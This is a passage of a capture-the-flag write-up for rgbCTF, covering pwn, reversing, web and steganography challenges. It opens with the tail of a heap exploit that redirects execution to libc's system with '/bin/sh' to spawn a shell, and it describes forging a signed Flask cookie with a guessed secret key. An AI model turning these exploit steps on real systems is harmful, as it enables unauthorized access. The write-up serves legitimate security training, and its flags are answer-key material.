alloc(0xb8, p64(lbc + libc.symbols["system"]))
debug()
p.sendlineafter(">", "1")
p.sendlineafter(">", str(lbc + next(libc.search("/bin/sh"))))
p.interactive()
```
Flag: `rgbCTF{l3ts_g31_th1s_bre@d}`
## Pwn/Rev - sadistic reversing 2
same as sad rev 2, but this time start with idx 32 and loop around:
```python
from pwn import *
import sys
import string
arr = [117, 148, 123, 5, 54, 9, 61, 234, 45, 4, 2, 40, 88, 111, 65, 65, 46, 23, 114, 110, 102, 148, 136, 123, 30, 5, 214, 231, 225, 255, 239, 138, 211, 208, 250, 232, 178, 187, 171, 242, 255, 30, 39, 19, 64, 17, 40, 29, 13, 27]
poss = string.ascii_uppercase + string.ascii_lowercase + string.digits + '{}_'
flag = 'A'*50
n = 0
s = 32
for i in range(len(arr)):
found = False
for c2 in poss:
F = flag[:s]+c2+flag[s+1:]
r = process(['./itwk.so',F])
output = int(r.recvline().decode().strip().split(' ')[n].replace('[','').replace(']','').replace(',',''))
r.close()
if output == arr[n]:
found = True
flag = F
break
if not found:
sys.exit()
n += 1
n %= 50
s += 1
s %= 50
print(flag)
```
## Pwn/Rev - THE LYCH KING
We get a binary and a text file. So we pop the binary into a decompiler and realize it's haskell. Yuck. We run a modified version of hsdecomp that ignores errors on the binary and get some output, but there are errors in important sections of the code so we still don't know what the binary is doing.
However, we can still run the binary. If we run `./lich AAAA` and `./lich AAAB` we get outputs that differ by one character. So, we can do a character by character bruteforce. Script below, uses multiprocessing because single-core is too slow.
```python=
from subprocess import check_output
def check(i):
return check_output(['./lich2',i])[:-1]
cur = b''
alpha = [bytes([i]) for i in range(1,128)]
with open("cipher","rb") as f:
target = f.read()
from multiprocessing.dummy import Pool as ThreadPool
pool = ThreadPool(8)
while 1:
results = pool.map(check,[cur+i for i in alpha])
for i in results:
if target.startswith(i):
cur+=alpha[results.index(i)]
print(cur)
break
else:
print(cur)
break
```
We get the following output:
```python
b'Kem%dlnjee/cvidvbh(xlc-Jhgh(A`of"iaju)egj"bzob%the uzhyit-nl\'sff buo&{ncgah&Ioq({kwb$so"\x7fblrc!df+znc`fn)`wd{&}n hjdusep)Gxdtjth&`lv#}hh Cpwhkag-Mdoblf% yamcrlxvjh!`mec.k\x7f(bqrv%pj`(cbir)Jn`{ididq&|xipvic*q`t`ij&rn`+Mriscg\'[dqijb(rmzj!K\x7fosvmort`e"-{ii,Ofoj%Aj`f/csmly{`ldq&ggxtmzh`&Ll`&he``lo faj"desjia.rdsl+qmc"mtf`h&Fyt`bq/Llhfsgnc.!\\iek!Aqosqdoqshi*vks$bmwprmyhb"bkj%Euqk`s%}k\x7faynaf("Docpip Bj\x7fishhdj$iejfme"y`c&nc~!Hgnc#Igjf&\'ghwq`sdjiic!rjn!iarshp(og$qig-Uejwtgk(sjxomn${hk&Mtbs`l Zayoac\'deak#djrj&oa kumkt/wh.\x7fpayfgz#|hj({o|kh+ftjj&`s}|qh(ziug`uy <'
```
That looks pretty disgusting and there's no flag in sight. So, we message the challenge author, who says:
> can you be certain our cipher text was generates with that binary?
> the challenge description and name are clues
What the heck ?? This is a standard thing - if you have a binary and an output file, it is assumed that the output file was generated from the binary.
In desperation we guess that the file is the input to the binary and run `./lich $(cat cipher)`. We get the following output (minus some unprintables b/c copy/paste):
```
Kem%dlnjee/cvidvbh(xlc-Jhgh(A`of"iaju)egj"bzob%the uzhyit-nl'sff buo&{ncgah&Ioq({kwb$so"blrc!df+znc`fn)`wd{&}n hjdusep)Gxdtjth&`lv#}hh Cpwhkag-Mdoblf% yamcrlxvjh!`mec.k(bqrv%pj`(cbir)Jn`{ididq&|xipvic*q`t`ij&rn`+Mriscg'[dqijb(rmzj!Kosvmort`e"-{ii,Ofoj%Aj`f/csmly{`ldq&ggxtmzh`&Ll`&he``lo faj"desjia.rdsl+qmc"mtf`h&Fyt`bq/Llhfsgnc.!\iek!Aqosqdoqshi*vks$bmwprmyhb"bkj%Euqk`s%}kaynaf("Docpip Bjishhdj$iejfme"y`c&nc~!Hgnc#Igjf&'ghwq`sdjiic!rjn!iarshp(og$qig-Uejwtgk(sjxomn${hk&Mtbs`l Zayoac'deak#djrj&oa kumkt/wh.payfgz#|hj({o|kh+ftjj&`s}|qh(ziug`uy
```
Hey, wait a second. That's the same thing (± a trailing linefeed) that we had before! So now we realize that encryption and decryption are the same operation. One example of such an operation that comes to mind is XOR. So let's just XOR the input and output strings together. We get:
```
199799881888797768184547930028175006793506381771117794822948179745797977293768184468654793015510281750310206793523232638177146465177948711106948179831222479797725343637681844616871654793007954881028175026800851067935184809471638177135971795317794849568974849481797980488407979797776853724977768184554796460845547930102861158301028175020671232650206793522629445025226381771451499899514517794868674988936686948179837338977884373797977210827757718112768184442264551544612554792996390906709083700281750037718143181773995793494148994849995040528175998208989
```

At this point, someone looked back at the broken haskell decompilation and realized that 1997 was a hard-coded constant. And notice that the above XOR key begins with 1997.
This is a mighty big coincidence, but it doesn't really help us until the challenge description is updated.
> The binary was changed *ever so slightly* after the cipher text was generated
...
The challenge description also contained the words "bad seeds", which points us to changing the constant `1997`. This is `0x7cd` in hex, so we look for instances of `07 cd` and `cd 07` in the binary, and figure out that the seed takes up bytes 0x7c5b and 0x7c5d. So, we just bruteforce the seed until we find something that fits the flag format.
```python=
from subprocess import check_output
def check(i):
return check_output(['./lich2',i])[:-1]
import struct
with open("lich","rb") as f:
deets = bytearray(f.read())
with open("cipher","rb") as f:
sice = bytearray(f.read())
for seed in range(2**16):
deets[0x7c5b:0x7c5d] = bytearray(struct.pack("<H",seed))
with open("lich2","wb") as f:
f.write(deets)
o = check(bytes(sice))
if seed%100==0: print(seed)
if b'rgbctf' in o.lower(): print(seed,o)
```
We sice deets when the seed is at 1495.
<!--
```python
from pwn import *
import sys, os
import string
file = open('lich','rb').read()
for seed in range(1000,9999):
file2 = open('lichtest','wb')
file2.write(file[:0x7c5b])
file2.write(p16(seed))
file2.write(file[0x7c5d:])
file2.close()
os.system('chmod +x lichtest')
file = open('lichtest','rb').read()
F = open('cipher','rb').read()
r = process(['./lichtest',F])
output = r.recvline().decode().strip()
r.close()
print('rgbCTF' in output,seed,output)
if 'rgbCTF' in output:
break
```
-->
Flag: `rgbctf{the flag is just rgb lol}`
## Web - Tic Tac Toe
Flag is obfuscated on the client. Place a breakpoint and the flag is decrypted on the stack.

## Web - Typeracer
Flag is obfuscated on the client. Place a breakpoint and the flag is decrypted on the stack.

## Web - Imitation Crab
Check `robots.txt` at http://challenge.rgbsec.xyz:7939/robots.txt and see that the file `/static/export.har` is listed. Download the HAR file at http://challenge.rgbsec.xyz:7939/static/export.har and drop it into the Chrome DevTools network tab to decode it.
Get key codes from the POST request bodies to `/search` and decode them to get the original typed flag.
## Web - Countdown
The end time was stored in a signed flask cookie. On the site you see a `Time is key` so you guess that `Time` is the secret key and sign a forged cookie with the end date as a date that already passed.
## Web - Keen Eye
Website loads poppers.js, not popper.js. The flag is in the source code of poppers.js. You could find this out by removing the script that prevented errors from showing, or just guess and look at all of them.
## [ZTC] - Ralphie!
Load the image into StegSolve and view any one of the planes with an encoded QR code.

Decode the QR code using any of a variety of tools to get the flag.
## [ZTC] - vaporwave1
Look at the spectrogram; there's the flag, I guess.
## [ZTC] - peepdis
A quick search for the .dae file extension shows that the file is a COLLADA 3D model. It appears to just be XML, so we guess that it is a real COLLADA file and not a fake file extension. Many different programs can open these, but blender is free and was already installed.
Importing the model using File > Import > Collada shows that the model is a 3D QR code. After appropriate scaling, rotating, lighting, and texturing of the extruded portions to be black, we can render the QR code from an orthographic view and scan it to get the flag.

Flag: `rgbCTF{3d-1337!}`
## [ZTC] - icanhaz
This is another "let's guess how many layers this file has" challenge.
1. given XZ archive -> extract
2. get hexdump -> parse to file
3. get XZ archive -> extract
4. get SVG -> change slightly darker rectangles to black
5. get QR code -> scan
6. get base64 -> decode
7. get XZ archive -> extract
8. get ANSI/ASCII QR code -> scan
Just for fun, here's a shell script that does all of this.
```bash
#!/bin/bash
sudo apt-get install -y imagemagick xz-utils zbar-tools
cp icanhaz.xyz icanhaz.xz
unxz icanhaz.xz -f
cat icanhaz | cut -d' ' -f2-6 | xxd -r -p > icanhaz2.xz
unxz icanhaz2.xz -f
mv icanhaz2 icanhaz2.svg
sed -i 's/fffffd/000000/g' icanhaz2.svg
zbarimg icanhaz2.svg -q | cut -d: -f2 | base64 -d > icanhaz3.xz
unxz icanhaz3.xz -f
mv icanhaz3 icanhaz3.ans
echo 'text 0,0 "' > icanhaz3
cat icanhaz3.ans | cut -c 11- | rev | cut -c 5- | rev >> icanhaz3
echo '"' >> icanhaz3
convert -size 256x256 xc:black -font "FreeMono" -fill white -draw @icanhaz3 icanhaz3.png
zbarimg icanhaz3.png -q | cut -d: -f2 | tee flag.txt
```
Flag: `rgbCTF{iCanHaz4N6DEVJOB}`
## [ZTC] - vaporwave2
Notice that the two audio files given are pretty similar, but not the same. From this, guess that the difference is important. Invert one, re-mix them, and take a look at a spectrogram.
## [ZTC] - vaporwave3
You're given a couple audio files. Each one's spectogram has a flag part to it:
```
672ed211123e0d29b014d4ebe0327512.mp3: jan
5054d2b72885158625f58b42279b83e4.mp3: OHS
f15a41f940d3bf5ca3c68febaab62ab3.mp3: {ah
866bd0fd8c4f86aa1f7b7862bee829d0.mp3: n1y
9847d2dd5da074516458967520dd0d2b.mp3: 4f7
28437533e1a1653647fd87e831fc23b9.mp3: z_k
b8b890ae9094868186ac7951acf62e25.mp3: seO
5f29054b6c5eef925cfbb8d74548468c.mp3: 3p}
```
Do some reassembling. Google the WRs the description mentions and you get to a streamer called `Summoning Salt`. Guess the key "summoningsaalt" to decrypt and get flag: `rgbCTF{summ0n1ng_s4l73d}`